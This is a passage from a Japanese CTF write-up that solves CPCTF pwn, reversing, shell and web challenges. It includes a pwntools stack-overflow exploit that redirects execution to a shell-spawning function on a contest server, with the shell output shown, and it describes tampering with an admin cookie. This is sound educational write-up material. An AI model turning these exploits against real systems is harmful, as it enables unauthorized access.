    printf("Stack Infomation\n");

    // stack
    printf("\n");
    printf("             | address        | value              |\n");
    printf(" buf       > | %p | 0x%016llx |\n", ((long long *)buf), ((long long *)buf)[0]);
    for (int i = 1; i < 4; i++) {
        printf("             | %p | 0x%016llx |\n", ((long long *)buf) + i, ((long long *)buf)[i]);
    }
    printf(" saved rsp > | %p | 0x%016llx |\n", ((long long *)buf) + 4, ((long long *)buf)[4]);
    printf(" retaddr   > | %p | 0x%016llx |\n", ((long long *)buf) + 5, ((long long *)buf)[5]);
    printf("\n");
}

void win() {
    execve("/bin/sh", NULL, NULL);
}

int vuln() {
    char buf[32] = {};
    show_stack(buf);
    printf("win: %p\n\n", win);
    gets(buf);
    show_stack(buf);
    return 0;
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    vuln();
    return 0;
}

win関数のアドレスを出力してくれています。またgetsでスタックオーバーフローが可能であり、カナリアも無さそうなので戻りアドレスを改ざんできます。そういうわけで戻りアドレスをwin関数へ改ざんするソルバーを書きました:

#!/usr/bin/env python3.8

import pwn

def solve(tube):
    tube.recvuntil(b"win: ")
    win_addr = int(tube.recvline(), 16)
    tube.sendline(pwn.pack(win_addr).ljust(8, b'\x00')*32) # 後で思いましたが、pwn.contextを設定しておいたほうがpackで8バイトアライメントにしてくれて楽できましたね
    tube.interactive()

with pwn.remote("smash-stack.cpctf.space", 30005) as tube: solve(tube)

実行しました:

$ ./solve.py
[+] Opening connection to smash-stack.cpctf.space on port 30005: Done
[*] Switching to interactive mode


Stack Infomation

             | address        | value              |
 buf       > | 0x7ffd5a52aa20 | 0x00000000004011b0 |
             | 0x7ffd5a52aa28 | 0x00000000004011b0 |
             | 0x7ffd5a52aa30 | 0x00000000004011b0 |
             | 0x7ffd5a52aa38 | 0x00000000004011b0 |
 saved rsp > | 0x7ffd5a52aa40 | 0x00000000004011b0 |
 retaddr   > | 0x7ffd5a52aa48 | 0x00000000004011b0 |

$ ls
chall
flag
vuln.c
$ cat flag
CPCTF{Welc0me_t0_3xc1t1ng_pwn_w0rld}
$
[*] Closed connection to smash-stack.cpctf.space port 30005
$

フラグを入手できました: CPCTF{Welc0me_t0_3xc1t1ng_pwn_w0rld}

[Reversing, Newbie] Welcome to reversing (19 solves, 10.00 points)

Ghidra等のデコンパイルツールを用いて、flagを探してみましょう。

配布ファイルとして、mainバイナリがありました:

$ file main
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f435469ca1b7c6a341fce2e3a6d2f889c8080e8f, for GNU/Linux 3.2.0, not stripped
$

とりあえずIDAで開いてみると、フラグをランダムな順番で1文字1文字比較している処理がありました:

// 64-bit版なので、IDA Free版でもクラウドベースの逆コンパイルができます
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Input Flag:");
  fgets(s, 17, _bss_start);
  if ( s[2] == 'C'
    && s[13] == 'n'
    && s[0] == 'C'
    && s[10] == 'r'
    && s[4] == 'F'
    && s[15] == '}'
    && s[6] == 'r'
    && s[12] == '1'
    && s[8] == 'v'
    && s[9] == '3'
    && s[3] == 'T'
    && s[14] == '6'
    && s[7] == '3'
    && s[1] == 'P'
    && s[11] == '5'
    && s[5] == '{' )
  {
    puts("Correct!");
    return 0;
  }
  else
  {
    puts("Incorrect!");
    puts(s);
    return 0;
  }
}

最初は1文字1文字並び替えるのが面倒に思ったのでangrで実行しようとしましたが、どうにもうまくいきませんでした。仕方がないので1文字1文字拾ってフラグを入手しました: CPCTF{r3v3r51n6}

Let's link!

配布ファイルとして、2つのバイナリがありました:

$ file main libwish.so
main:       ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2188fb8c9def9df002b9da04408ffdfd41039040, for GNU/Linux 3.2.0, not stripped
libwish.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=fdeda34a400a770bf5de2c1bdc3632a50448d473, not stripped
$

とりあえずlibwish.so側をIDAで見てみると、1バイトXORして出力している処理がありました:

// 64-bit版なので、IDA Free版でもクラウドベースの逆コンパイルができます
unsigned __int64 print()
{
  int i; // [rsp+Ch] [rbp-34h]
  char v2[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy(v2, "BQBUGz5ew2outs2^1g^m0oj2s|");
  for ( i = 0; i <= 25; ++i )
    v2[i] ^= 1u;
  printf("%s", v2);
  return v3 - __readfsqword(0x28u);
}

出力内容をIPythonで確認してみました:

In [3]: "".join(map(lambda b: chr(b ^ 1), b"BQBUGz5ew2outs2^1g^m0oj2s|"))
Out[3]: 'CPCTF{4dv3ntur3_0f_l1nk3r}'

フラグを入手できました: CPCTF{4dv3ntur3_0f_l1nk3r}

[Reversing, Easy] pyck up! (11 solves, 384.10 points)

我々が狙っているハッカー集団の居所を遂に見つけた。至急現場に向かったが誰一人として居なかった。そこに残されていたパソコンからデータを解析してみても、ハッカーが使っているソースコードは跡形も無い。しかしながら代わりにこんなファイルを入手できた。

配布ファイルとして、secret.cpython-310.pycがありました。decompyle3で逆コンパイルをしようとしましたが、Python 3.10には非対応でした:

$ decompyle3 secret.cpython-310.pyc
# decompyle3 version 3.8.0
# Python bytecode 3.10.0 (3439)
# Decompiled from: Python 3.8.0 (default, Dec  9 2021, 17:53:27)
# [GCC 8.4.0]
# Embedded file name: /home/anko/workspace/cpctf/problems/rev/pyckup/secret.py
# Compiled at: 2022-04-29 20:43:51
# Size of source mod 2**32: 4227 bytes

Unsupported Python version, 3.10.0, for decompilation


# Unsupported bytecode in file secret.cpython-310.pyc
# Unsupported Python version, 3.10.0, for decompilation
$

Python 3.10のものを逆コンパイルする方法はあるか調べると、 decompiler - How can I decompile .pyc files from Python 3.10? - Stack Overflow を見つけ、そこで zrax/pycdc: C++ python bytecode disassembler and decompiler が紹介されていました。導入して試すとうまくいきました:

$ ./pycdc secret.cpython-310.pyc
# Source Generated with Decompyle++
# File: secret.cpython-310.pyc (Python 3.10)

import base64
data = [
    b'Q1BDVEZ7PEZmd1BcbCgzWl8mYGAyN2RpQVZ9',
    b'Q1BDVEZ7VUQ3TGEqTkIwSzFVZW4zQWcrKG99',
    b'Q1BDVEZ7SnxceSpyell0Xk5fLTo+K2k3Ymp9',
    b'Q1BDVEZ7X3ZCRURNWENqR1QyN2M3TWRoVkl9',
    b'Q1BDVEZ7KzZsIW8qR1xaXDRYTCRANG0wT2h9',
    b'Q1BDVEZ7KVBZXGVIZmQyIXJxS0dhYi8jKXF9',
    b'Q1BDVEZ7cEgta1dUdy18SElzVEt9amQpLzt9',
    b'Q1BDVEZ7TjZeWUxRQDp1K3R2ZSktdygrTHV9',
    b'Q1BDVEZ7ITRTa307Ilw3V3hGJCxEKX53dWZ9',
    b'Q1BDVEZ7KEp9di1ATSQpUS1nPjM7fFUpLDJ9',
    b'Q1BDVEZ7S2w/ZnZ7dzRtKVZnbW00IX1ZRit9',
    b'Q1BDVEZ7USsoc3FlVGA/ajZGM3JfLToiaEd9',
    b'Q1BDVEZ7UTFXMmRDdEIhLi9ULnswL18uTlt9',
    b'Q1BDVEZ7ZGlvJnJkVT8ncC52LkokWy1SUEJ9',
    b'Q1BDVEZ7dTdKXlh6fXQ5LlMsSStORHhxMX59',
    b'Q1BDVEZ7J1UnTkFldFJZYyQxIWpxRiF3cCh9',
    b'Q1BDVEZ7XHhdQyxuSztfaD1HZl9sLGM0dmd9',
    b'Q1BDVEZ7djt1bTBAdV5bY05eUGF8RitFcUN9',
    b'Q1BDVEZ7YlpzMXZuJE9raFo7c2RaPHV7Snl9',
    b'Q1BDVEZ7OH5WL2o3WU5sWndYK21sb0lda0N9',
    b'Q1BDVEZ7P3tga1xybyN4Qm9mQSsuYkp6dWJ9',
    b'Q1BDVEZ7eiZyJT1cNj4hPFsmSmVeOlctci59',
    b'Q1BDVEZ7NShxL35XWH5yOGFdR0JfSG9vYiN9',
    b'Q1BDVEZ7YWhCVSRzWj9YLk5hTW9SPHooMit9',
    b'Q1BDVEZ7WzE0QX5LImZobCwhN3JKVnpPMUZ9',
    b'Q1BDVEZ7R2VXRiwuRVhNV0smVDpWYCpTRHd9',
    b'Q1BDVEZ7LnpJfGRNWXkmfX5hMCdgZmZWdmp9',
    b'Q1BDVEZ7YGRJWnhpVTxPe21kUnF0aHRAZkx9',
    b'Q1BDVEZ7Vzs4ZHhbNktceGpMQ2hNLT5iTWp9',
    b'Q1BDVEZ7d0o2OzBTc3pAQU9BK20xMTFQdXV9',
    b'Q1BDVEZ7VSc6UWU9bHchLykpSnd7SSdKKSd9',
    b'Q1BDVEZ7cG5OJ15rbHlvKjc2eW02XE9fJl19',
    b'Q1BDVEZ7Ulx9cUktWX53bmlZRkQ2VWJidkB9',
    b'Q1BDVEZ7KCtsLEwze1tBQ3R7RlBIfGlLRnh9',
    b'Q1BDVEZ7O3hsUUZaMH50TmxpcTY6MSU+Xid9',
    b'Q1BDVEZ7REI+fj9zJj57ZWtNUEBadHs4Ozh9',
    b'Q1BDVEZ7c1wuNWBfPEFubm5AdWFyWUkkWyp9',
    b'Q1BDVEZ7XldFdkJHPERmdEgiSCImUy42YHl9',
    b'Q1BDVEZ7ezJnPkx6XExrJkNUJC1EeXV0ZGF9',
    b'Q1BDVEZ7Q3EkfiMwK19EYTZkIl1HYk8hQix9',
    b'Q1BDVEZ7eUZ5X0BMaVUoOT1RQl1YPDh2Y1N9',
    b'Q1BDVEZ7XSJXeFt+J1Y5USpQfnl1ckAqJnZ9',
    b'Q1BDVEZ7VCp1S09ZX1RoRUM7RC5idTZRZyR9',
    b'Q1BDVEZ7LEJkTnNUTWxQc3kudiZmeFUzK0p9',
    b'Q1BDVEZ7SV9BYHV2XEFtNEh0Z2UrY1M4dlJ9',
    b'Q1BDVEZ7RF09SkpLMWtTY3o4Vk5rNmsrcSJ9',
    b'Q1BDVEZ7KDVkb2d3c2JPSjNYMHo5VzdkTy19',
    b'Q1BDVEZ7bTo9QDl0cV8udk9YKHQzWiI7QXF9',
    b'Q1BDVEZ7cnIxNjh8OFBwSjpaLH0/O0swaUN9',
    b'Q1BDVEZ7TT5IdCJzTmZWLWNNT1IqJT5zU1l9',
    b'Q1BDVEZ7aFI2OzVtd1o8emEvJz04JW1HXyx9',
    b'Q1BDVEZ7d0VrKW9tRyV9VDN6ZH4lezt1Py59',
    b'Q1BDVEZ7VUJQdCVgXEtVeWhWVCNaam42PnB9',
    b'Q1BDVEZ7TCI8fXhFPTJSNFpVWCI9O3VVQ1N9',
    b'Q1BDVEZ7eFRmbm14X0xuJClcSiV0fFBkYiV9',
    b'Q1BDVEZ7QmpBLHpwPVVJXlEiMlw+UG1UcC19',
    b'Q1BDVEZ7KUY4fH4xPS57SjEpYD1IPEZ1Snx9',
    b'Q1BDVEZ7YW5dJVVPXWg1WUI/aGs6WTY0LWZ9',
    b'Q1BDVEZ7WDtfYlNXZ1BTc1Jfb0A/dTR2PGt9',
    b'Q1BDVEZ7fSooUUhse0ZmND9CdnR2QndxeSp9',
    b'Q1BDVEZ7XElGb0kocEotZj19JWZOfTVKbm19',
    b'Q1BDVEZ7ImxdMWw0XTwkITlhRT1sVihwNE99',
    b'Q1BDVEZ7Pj5nckhwSXF2NUpNTUJQXGhHRV59',
    b'Q1BDVEZ7Y3A2Q110bEpMdSo/bmEneVMwIkd9',
    b'Q1BDVEZ7KG1KMGAmPEE7S0RGOSNvJDcvTS59',
    b'Q1BDVEZ7XkAuQkY7SnYiXkg7Sy1HW3E4U359',
    b'Q1BDVEZ7UEtncDpnZEA0fkJnY1cpLSpZY1V9',
    b'Q1BDVEZ7dVw4clg7ckN9LWJQPlwyVENBPHl9',
    b'Q1BDVEZ7Oj15RSYsLVlpRlBrIyg6PjdqSDp9',
    b'Q1BDVEZ7VXcldDhrMHZsJSlPbTUsY1QlNWZ9',
    b'Q1BDVEZ7MFglfi9NeU5XJm5+RGwwdSs9O1p9',
    b'Q1BDVEZ7bEY6Z1RPO0xBbyM2PHo3RXdRPnJ9',
    b'Q1BDVEZ7PCdaInpSTmpvLDFvNS1dQjBfKl59',
    b'Q1BDVEZ7SXVbLHk0RXx0JzE9d0R4VnBcPVt9',
    b'Q1BDVEZ7X253akxbeiJ3MWg3O3BRXFFxVWR9',
    b'Q1BDVEZ7aCkhXkl+I1pVPCxJXEk2eFZqS099',
    b'Q1BDVEZ7aXlLekk7VmdYQHJjSzZCaXN2J3p9',
    b'Q1BDVEZ7c2d2MEpGZ05GJCxlYGpmRChEeGV9',
    b'Q1BDVEZ7KypncUpqeFI8cUgsenosOn5sZDp9',
    b'Q1BDVEZ7TlI1X0ZpcDFHbVM3aTJ2RHx5SWx9',
    b'Q1BDVEZ7UFM1MHpsS0F0YyhGdDNvP3BKT059',
    b'Q1BDVEZ7VTh6QGdnKVgnOGFvdEElQ2RfJVR9',
    b'Q1BDVEZ7NFt6Ql9UOilScy46fkkuNW43X1l9',
    b'Q1BDVEZ7YXNtOm5IYXRIMSxGVCYzcz42KGd9',
    b'Q1BDVEZ7K31kOTxySSw5LXZOfjxAJXMuRUl9',
    b'Q1BDVEZ7YDN3RGZbfHxpOjQ0JS0vdVhxZzl9',
    b'Q1BDVEZ7MmFxTTl+Ky1lb2heYipxTTwqRWh9',
    b'Q1BDVEZ7ZGdEbnE2ME07IzUuaCE4L0YpQVR9',
    b'Q1BDVEZ7PlFuW19IWHssejNSS1YzbHtHXSF9',
    b'Q1BDVEZ7JmdDcHooTDNrWTJxbW1sW3w3LjN9',
    b'Q1BDVEZ7MiFcVzctSUNPejlHbmtESSNLJn59',
    b'Q1BDVEZ7PmJdeUZaWzEnTTU0XiJGXzZEJ3t9',
    b'Q1BDVEZ7ZmhQcDwlM1RvSTEvNG02dD1aeGl9',
    b'Q1BDVEZ7RGB2ZjAsM3lcb3pQfUEscm0ia099',
    b'Q1BDVEZ7c0QjOElpY2F6XSg/VDNGUHJYISl9',
    b'Q1BDVEZ7ekRHbF0lcmpjUSdWWDBCfURzelp9',
    b'Q1BDVEZ7QlJsR2R1RnEhWWA1MG1SXXR+NWx9',
    b'Q1BDVEZ7IVMjSiosQExDcjtVT0VvMEExL0x9',
    b'Q1BDVEZ7IzU7U2V7Q0l8fHF8P0w6d3REVF99',
    b'Q1BDVEZ7SD5dclJaKm4wMjBFKXtaMVgxPUl9']
FLAG = b'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ=='
supersecret = base64.b64decode(FLAG)
$

最後にフラグがあるのでBase64で復号しました:

$ echo 'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ==' | base64 -d
CPCTF{cache_is_also_the_seed_of_exploit}
$

フラグを入手できました: CPCTF{cache_is_also_the_seed_of_exploit}

なお、data変数に格納しているリストは、ダミーフラグのBase64エンコード結果のようでした。

[Reversing, Normal] Spider Anatomy (8 solves, 388.15 points)

https://spider-anatomy.cpctf.space/

上記のページを開いてpassを入力したあとSubmitを押してOutputのところに「Success」と表示されたものがフラグになっています。

形式はCPCTF{入力したもの}になっています。
例えば、「aaa」を入力して「Success」と表示された場合は、CPCTF{aaa}がフラグです。

「ReversingジャンルでURLがあるなんてWASMかな」と思いながらページを開いてソースを眺めていると、 /assets/index.95f76d1f.js に以下のJavaScriptがありました:

var wasmUrl = "data:application/wasm;base64,AGFzbQEAAAABBgFgAX8BfwMCAQAFAwEAAAcWAgljaGVja1Bhc3MAAAZtZW1vcnkCAApPAU0BAn9Bzr0PIQEDQCACQbESSARAIAFBsRJsQQJ1IQEgAkECaiECDAELCyAAQf//A3FBEHQgAEGAgHxxQRB2aiABQYjm1wFvQfe2AWxGCwAmEHNvdXJjZU1hcHBpbmdVUkwULi9vcHRpbWl6ZWQud2FzbS5tYXA=";
const $form = document.getElementById("form");
const $output = document.getElementById("output");
(async () => {
  const wasmRes = await fetch(wasmUrl);
  const wasmBinary = await wasmRes.arrayBuffer();
  const wasmModule = await WebAssembly.instantiate(wasmBinary, {});
  const { checkPass } = wasmModule.instance.exports;
  $output.textContent = "Loaded";
  $form.addEventListener("submit", (e) => {
    e.preventDefault();
    const formData = new FormData($form);
    const pass = formData.get("pass");
    const passNum = +pass;
    if (passNum < -(2 ** 31) || 2 ** 31 - 1 < passNum) {
      $output.textContent = "must be int32";
      return;
    }
    const isOk = checkPass(passNum);
    $output.textContent = isOk ? "Success" : "Fail";
  });
})();

wasm中のcheckPass関数を呼び出して判定しています。wasmを扱うツールとして WebAssembly/wabt: The WebAssembly Binary Toolkit があることを知っていたので、それを導入してC言語ソースに変換しました:

$ echo 'AGFzbQEAAAABBgFgAX8BfwMCAQAFAwEAAAcWAgljaGVja1Bhc3MAAAZtZW1vcnkCAApPAU0BAn9Bzr0PIQEDQCACQbESSARAIAFBsRJsQQJ1IQEgAkECaiECDAELCyAAQf//A3FBEHQgAEGAgHxxQRB2aiABQYjm1wFvQfe2AWxGCwAmEHNvdXJjZU1hcHBpbmdVUkwULi9vcHRpbWl6ZWQud2FzbS5tYXA=' | base64 -d > wasm.bin
$ ./wasm2c wasm.bin > wasm2c_result.c

変換結果のcheckPass関数箇所は以下のものでした:

// typedefやマクロ定義等は省略
static u32 w2c_checkPass(u32 w2c_p0) {
  u32 w2c_l1 = 0, w2c_l2 = 0;
  FUNC_PROLOGUE;
  u32 w2c_i0, w2c_i1, w2c_i2;
  w2c_i0 = 253646u;
  w2c_l1 = w2c_i0;
  w2c_L0:
    w2c_i0 = w2c_l2;
    w2c_i1 = 2353u;
    w2c_i0 = (u32)((s32)w2c_i0 < (s32)w2c_i1);
    if (w2c_i0) {
      w2c_i0 = w2c_l1;
      w2c_i1 = 2353u;
      w2c_i0 *= w2c_i1;
      w2c_i1 = 2u;
      w2c_i0 = (u32)((s32)w2c_i0 >> (w2c_i1 & 31));
      w2c_l1 = w2c_i0;
      w2c_i0 = w2c_l2;
      w2c_i1 = 2u;
      w2c_i0 += w2c_i1;
      w2c_l2 = w2c_i0;
      goto w2c_L0;
    }
  w2c_i0 = w2c_p0;
  w2c_i1 = 65535u;
  w2c_i0 &= w2c_i1;
  w2c_i1 = 16u;
  w2c_i0 <<= (w2c_i1 & 31);
  w2c_i1 = w2c_p0;
  w2c_i2 = 4294901760u;
  w2c_i1 &= w2c_i2;
  w2c_i2 = 16u;
  w2c_i1 >>= (w2c_i2 & 31);
  w2c_i0 += w2c_i1;
  w2c_i1 = w2c_l1;
  w2c_i2 = 3535624u;
  w2c_i1 = I32_REM_S(w2c_i1, w2c_i2);
  w2c_i2 = 23415u;
  w2c_i1 *= w2c_i2;
  w2c_i0 = w2c_i0 == w2c_i1;
  FUNC_EPILOGUE;
  return w2c_i0;
}

変数名が似通っていて分かりづらいですが、よく読むと以下の要素で構成されていることがわかります:

  1. 引数に依存しない、ループで何かを計算する処理
  2. ループ計算結果と引数を使って何かを計算して、2つが等しいか判定する処理

ループで計算する処理は事前に計算しておいて使い回せます。あとは引数に与える数値を探索すれば良さそうです。この発想でソルバーを書きました:

#include <stdio.h>
#include <stdint.h>

typedef uint8_t u8;
typedef int8_t s8;
typedef uint16_t u16;
typedef int16_t s16;
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
typedef float f32;
typedef double f64;

#define REM_S(ut, min, x, y) (ut)((x) % (y))

#define I32_REM_S(x, y) REM_S(u32, INT32_MIN, (s32)x, (s32)y)

u32 Precompute_w2c_l1() {
  u32 w2c_l1 = 0, w2c_l2 = 0;
  u32 w2c_i0, w2c_i1, w2c_i2;
  w2c_i0 = 253646u;
  w2c_l1 = w2c_i0;
  w2c_L0:
    w2c_i0 = w2c_l2;
    w2c_i1 = 2353u;
    w2c_i0 = (u32)((s32)w2c_i0 < (s32)w2c_i1);
    if (w2c_i0) {
      w2c_i0 = w2c_l1;
      w2c_i1 = 2353u;
      w2c_i0 *= w2c_i1;
      w2c_i1 = 2u;
      w2c_i0 = (u32)((s32)w2c_i0 >> (w2c_i1 & 31));
      w2c_l1 = w2c_i0;
      w2c_i0 = w2c_l2;
      w2c_i1 = 2u;
      w2c_i0 += w2c_i1;
      w2c_l2 = w2c_i0;
      goto w2c_L0;
    }
    return w2c_l1;
}

u32 checkPass(u32 w2c_p0, u32 w2c_l1) {
  u32 w2c_l2 = 0;
  u32 w2c_i0, w2c_i1, w2c_i2;
  w2c_i0 = w2c_p0;
  w2c_i1 = 65535u;
  w2c_i0 &= w2c_i1;
  w2c_i1 = 16u;
  w2c_i0 <<= (w2c_i1 & 31);
  w2c_i1 = w2c_p0;
  w2c_i2 = 4294901760u;
  w2c_i1 &= w2c_i2;
  w2c_i2 = 16u;
  w2c_i1 >>= (w2c_i2 & 31);
  w2c_i0 += w2c_i1;
  w2c_i1 = w2c_l1;
  w2c_i2 = 3535624u;
  w2c_i1 = I32_REM_S(w2c_i1, w2c_i2);
  w2c_i2 = 23415u;
  w2c_i1 *= w2c_i2;
  w2c_i0 = w2c_i0 == w2c_i1;
  return w2c_i0;
}

int main(void) {
    u32 w2c_l1 = Precompute_w2c_l1();
    for (u64 i = 0; i <(2LL<<32LL); ++i) {
        if (i%1000000 == 0) {
            printf("%d\n", (u32)i);
        }

        if (checkPass((u32)i, w2c_l1) == 1) {
            printf("%d\n", (u32)i);
            return 0;
        }
    }
}

コンパイルして実行しました:

$ g++ -O2 solve.cpp
$ time ./a.out
0
1000000
(中略)
673000000
673402814
./a.out  0.53s user 0.01s system 99% cpu 0.546 total
$

後は問題文にある書式でフラグを構成できました: CPCTF{673402814}

[Shell, Newbie] Hello Webshell (65 solves, 10.00 points)

Webshell上にあるフラグを見つけましょう。

本CTFではWebShellが提供されています。触ってみました:

Tan90909090@192.168.0.4's password:

 ██████╗██████╗  ██████╗████████╗███████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝
██║     ██████╔╝██║        ██║   █████╗
██║     ██╔═══╝ ██║        ██║   ██╔══╝
╚██████╗██║     ╚██████╗   ██║   ██║
 ╚═════╝╚═╝      ╚═════╝   ╚═╝   ╚═╝

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@811e3010ce79:~$ ls
flag_HelloWebshell.txt
ubuntu@811e3010ce79:~$ cat flag_HelloWebshell.txt
CPCTF{h3110_w3b5h311}
ubuntu@811e3010ce79:~$

フラグを入手できました: CPCTF{h3110_w3b5h311}

[Shell, Newbie] netcat (57 solves, 10.00 points)

linux の nc というコマンドを使って接続してみましょう。 ncコマンドはnc アドレス ポートという風に使います。 Windows の方は webshell を使うことを推奨します。


アドレス: netcat.cpctf.space ポート : 30019

接続しました:

$ nc netcat.cpctf.space 30019 -q 0
CPCTF{nc_means_netcat}

$

フラグを入手できました: CPCTF{nc_means_netcat}

[Shell, Easy] Find Image (24 solves, 263.75 points)

おじいちゃんは重要なファイルがどこにあるか忘れてしまいました。ディスクイメージを取ってきたので代わりに探してあげましょう。

配布ファイルとしてimage.imgが与えられました。こういう問題はTestDiskを使うものだと思いこんでいたので、TestDiskを使ってトップディレクトリー以下を全部ローカルへコピーしました。大量にフォルダーがあったので、Windowsのエクスプローラー右上にflagと入力すると、以下の4フォルダー以下にflag.pngがありました(多分内容は全部同じだと思います):

新しいフォルダー - コピー (4) - コピー\新しいフォルダー (2) - コピー
新しいフォルダー - コピー (8) - コピー\新しいフォルダー (2)\data10
新しいフォルダー (13) - コピー\data19
新しいフォルダー (13) - コピー\data42\data10

flag.pngにかかれていた文字を読み取って、フラグを入手できました: CPCTF{im4ge_1n_im4ge}

後で気付きましたが、7-Zipでimage.imgを開くとSizeが非0のフォルダーは1つだけなので、それらをダブルクリックしていってもflag.pngが見つかりました。……1個だけ見つかりました。TestDiskでは削除済みファイルを見つけてくれたのでしょう、多分。

[Shell, Easy] Veeeeeeery Long Text (50 solves, 142.59 points)

flag.txtにフラグが書いてあります、やったね。


ssh user@veeeeeeery-long-text.cpctf.space -p 30004
password: P455W0I2D

接続したりしました:

$ ssh user@veeeeeeery-long-text.cpctf.space -p 30004
user@veeeeeeery-long-text.cpctf.space's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun May  1 04:40:05 2022 from 198.51.100.1
$ ls
flag.txt
$ wc flag.txt
 100001  100001 6500065 flag.txt
$ grep CPCTF flag.txt
CPCTF{p1pe_15_u53fu1}Oj<5g]pv$A.4#E8Y53;/d|qS~i]CA(G`\!"ynP5/-F!
$

フラグを入手できました: CPCTF{p1pe_15_u53fu1}

[Web, Newbie] Forbidden 1 (75 solves, 10.00 points)

フラグはadminしか取得できないから大丈夫なはず...
forbidden-1.cpctf.space

URLへアクセスすると画像をクリックしてフラグを入手という表示がありました。画像をクリックするとfetch failed with status code 403と表示されました。

問題文を見るにadmin判定をしているようので探してみると、ブラウザにadminという名前のクッキーが保存されており、値はfalseでした。値をtrueに書き換えて画像をクリックし直すと、フラグが表示されました: CPCTF{D3v70015_15_v3ry_p0w3rfu1}

[Web, Newbie] POST ME! (60 solves, 10.00 points)

POSTしてGETしてみよう! postme.cpctf.space

pythonでのやりかたのヒント(https://requests-docs-ja.readthedocs.io/en/latest/user/quickstart/)

問題文の後に、このサイトのソースコード↓も記述されていました:

from flask import *

app = Flask(__name__)

@app.route("/", methods=["GET", "POST", "DELETE"])
def postme():
    if request.method == "GET":
        f = open("index.html", "r")
        s = f.read()
        f.close()
        return s
    elif request.method == "POST":
        if request.json is not None and request.json.get("password","") == "pass":
            return "フラグの最初は CPCTF{#### です!次はDELETEリクエストを送ってみよう!"
        else:
            return 'JSON形式で{"password":"pass"} を送ってみよう'
    elif request.method == "DELETE":
        return "############}"
    else:
        return ""

if __name__ == "__main__":
    app.run(debug=False, host='0.0.0.0', port=8888, threaded=True)

cURLを使ってアクセスすることにしました。Content-Typeを入れ忘れていて少しハマったりしました:

$ curl https://postme.cpctf.space/ -d '{"password":"pass"}'
<!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
$ curl https://postme.cpctf.space/ -H 'Content-Type: application/json' -d '{"password":"pass"}'
フラグの最初は CPCTF{POST_ です!次はDELETEリクエストを送ってみよう!
$ curl https://postme.cpctf.space/ -X DELETE
AND_DELETE_MASTER}
$

フラグを入手できました: CPCTF{POST_AND_DELETE_MASTER}

[Web, Newbie] Robots (59 solves, 10.00 points)

Robots.txtをのぞいてみましょう。
https://chocolatechipcookie.cpctf.space/

https://chocolatechipcookie.cpctf.space/robots.txtへアクセスしてみると、以下の内容でした:

# こんにちは、ここがrobots.txtです
User-agent:*
Disallow: /flag_h7Mz.html

そういうわけでhttps://chocolatechipcookie.cpctf.space/flag_h7Mz.htmlへアクセスすると、以下の表示がありました:

みつかってしまった!!
CPCTF{I_11k3_Ch0c01473_Ch19_C00k13}

フラグを入手できました: CPCTF{I_11k3_Ch0c01473_Ch19_C00k13}

ヒントを一部みて解いた問題

3個あるヒントのうち、1~2個のヒントを見て解いた問題です。ヒントを見ているのであっさり目に書きます。得点はヒントを見たことによる減点後の点数です。

[Misc, Easy] Eagle (27 solves, 246.48 points)

U.N. Owen was EAGLE?

配布ファイルとしてeagle.ZIPがありました:

$ unzip eagle.ZIP
Archive:  eagle.ZIP
  inflating: test.GTL
  inflating: test.GTO
  inflating: test.GBS
  inflating: test.GML
  inflating: test.GBL
  inflating: test.GBO
  inflating: test.GTS
  inflating: test.TXT
  inflating: test-NPTH.TXT
$

それらのファイルを見てみると、3D CAD用のファイルに見えました。よく分からなかったので飛ばして、コンテスト終了少し前にヒントを見ました:

ヒント1
.TXTなどを開いてみると...何かのソフトウェアで生成されているみたいですね。

ヒント2
.TXTはメモ帳の拡張子なのでしょうか内部にDrillという文字列がありますね。 一緒に調べてみると...Gerber Viewerという単語が目につきますね。

Gerber ViewerでググってみるとOnline Gerber Viewer - PCB Prototype the Easy Way - PCBWayを見つけました。ZipファイルをD&Dすると、内容が表示されました: フラグを入手できました: CPCTF{KiCad_n0t_EAGLE}

[Web, Easy] Forbidden 2 (48 solves, 205.78 points)

フラグは誰も取得できないように設定したから安心だね!
forbidden-2.cpctf.space

配布ファイルとしてsource.zipがあり、展開すると以下のHTMLファイルやnginx.confがありました:

<!DOCTYPE html>
<html>

<head>
   <meta name="viewport" content="width=device-width" />
   <meta charset="utf-8" />
   <script src="https://cdn.tailwindcss.com"></script>
   <title>Forbidden 2</title>
</head>

<body>
    <div class="mx-16 my-12">
        <h1 class="text-4xl my-12">Forbidden 2</h1>
        <p>↓画像をクリックしてフラグを入手</p>
        <img src="/public/flag_image.png" onclick="getFlag()" class="w-60 h-auto" />
        <p id="flag"></p>
        <p id="error" class="text-red-500"></p>

        <script>
           async function getFlag() {
               try {
